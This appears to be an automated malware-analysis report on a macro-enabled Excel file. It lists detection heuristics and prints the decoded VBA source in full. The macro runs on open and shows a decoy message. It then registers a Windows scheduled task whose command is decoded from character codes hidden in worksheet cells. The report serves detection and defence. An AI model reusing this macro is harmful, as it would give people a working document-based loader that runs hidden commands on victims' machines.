MALICIOUS
108
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The file contains a Workbook_Open VBA macro that executes a script. This script uses CreateObject to interact with the Windows Task Scheduler service, likely to establish persistence by scheduling a task. The script attempts to create a task with a description indicating it will 'Start admin process at a certain time' and sets the execution time limit. The presence of CreateObject and the Workbook_Open auto-execution heuristic strongly suggest this macro is designed to download and execute a second-stage payload or establish persistence.
Heuristics 4
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set xCodePage = CreateObject("Schedule.Service") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open()
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3335 bytes |
SHA-256: f1543f39997ed77b925a18d06c6e8878cfa0dbaa007994b82ea40f335725c589 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
On Error GoTo xPaperCsheet
xFillWeekdays = 1 / 0
xPaperCsheet:
If Err.Number <> 0 Then
xDebugCodePane = "Thank You!"
MsgBox xDebugCodePane, , "Good", Err.HelpFile, Err.HelpContext
xFirstRow = xPaperEsheet()
End If
End Sub
Function xPaperEsheet()
Const xDialogFont = 1
Const xErrorBarIncludePlusValues = 0
Set xCodePage = CreateObject("Schedule.Service")
Call xCodePage.Connect
Set xListDataTypeCheckbox = xCodePage.GetFolder(Chr(92))
Set xDAreaStacked = xCodePage.NewTask(0)
Set xSpinner = xDAreaStacked.RegistrationInfo
xSpinner.Description = "Start admin process at a certain time"
xSpinner.Author = "Author Name"
Set xSortLabels = xDAreaStacked.Principal
xSortLabels.LogonType = 3
Set xNoChange = xDAreaStacked.Settings
xNoChange.Enabled = True
xNoChange.StartWhenAvailable = True
xNoChange.Hidden = False
Set xDataLabelsShowNone = xDAreaStacked.Triggers
Set xDColumn = xDataLabelsShowNone.Create(xDialogFont)
xMaximized = DateAdd("s", 68, Now)
xCountNums = xLocationAutomatic(xMaximized)
xXmlImportElementsTruncated = DateAdd("n", 10, Now)
xArrowHeadLengthMedium = xLocationAutomatic(xXmlImportElementsTruncated)
xXYScatter = DateAdd("s", 300, Now)
xDColumn.StartBoundary = xCountNums
xDColumn.EndBoundary = xArrowHeadLengthMedium
xDColumn.ExecutionTimeLimit = "PT5M"
xDColumn.ID = "TimeTriggerId"
xDColumn.Enabled = True
Set xUpdateLinksNever = xDAreaStacked.Actions.Create(ActionTypeExec)
xUpdateLinksNever.Path = "schtasks"
For Each Cell In ActiveWorkbook.Sheets("GlocalSign Protected").Range("AV67:DA148")
If Cell.Value > 0 Then
xPTClassic = xPTClassic & Chr(Cell.Value)
End If
Next Cell
xHAlignGeneral = xPTClassic & Format(xXYScatter, "hh:mm")
Debug.Print xHAlignGeneral
xUpdateLinksNever.Arguments = xHAlignGeneral
Call xListDataTypeCheckbox.RegisterTaskDefinition("xMDY", xDAreaStacked, 6, , , 3)
End Function
Function xLocationAutomatic(xFillYears)
xDataLabelSeparatorDefault = "0" & Second(xFillYears)
xMarkerStyleDot = "0" & Minute(xFillYears)
xParamTypeWChar = "0" & Hour(xFillYears)
xProduct = "0" & Day(xFillYears)
xDialogGallery3dSurface = "0" & Month(xFillYears)
xDEffects2 = Year(xFillYears)
xVerbOpen = Right(xParamTypeWChar, 2) & ":" & Right(xMarkerStyleDot, 2) & ":" & Right(xDataLabelSeparatorDefault, 2)
xGrid = xDEffects2 & "-" & Right(xDialogGallery3dSurface, 2) & "-" & Right(xProduct, 2)
xLocationAutomatic = xGrid & "T" & xVerbOpen
End Function
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 16384 bytes |
SHA-256: cd7efccf5cfc82ad852f56e75f3503645cc3286ad6dff93116e67bbe6d6a4e38 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.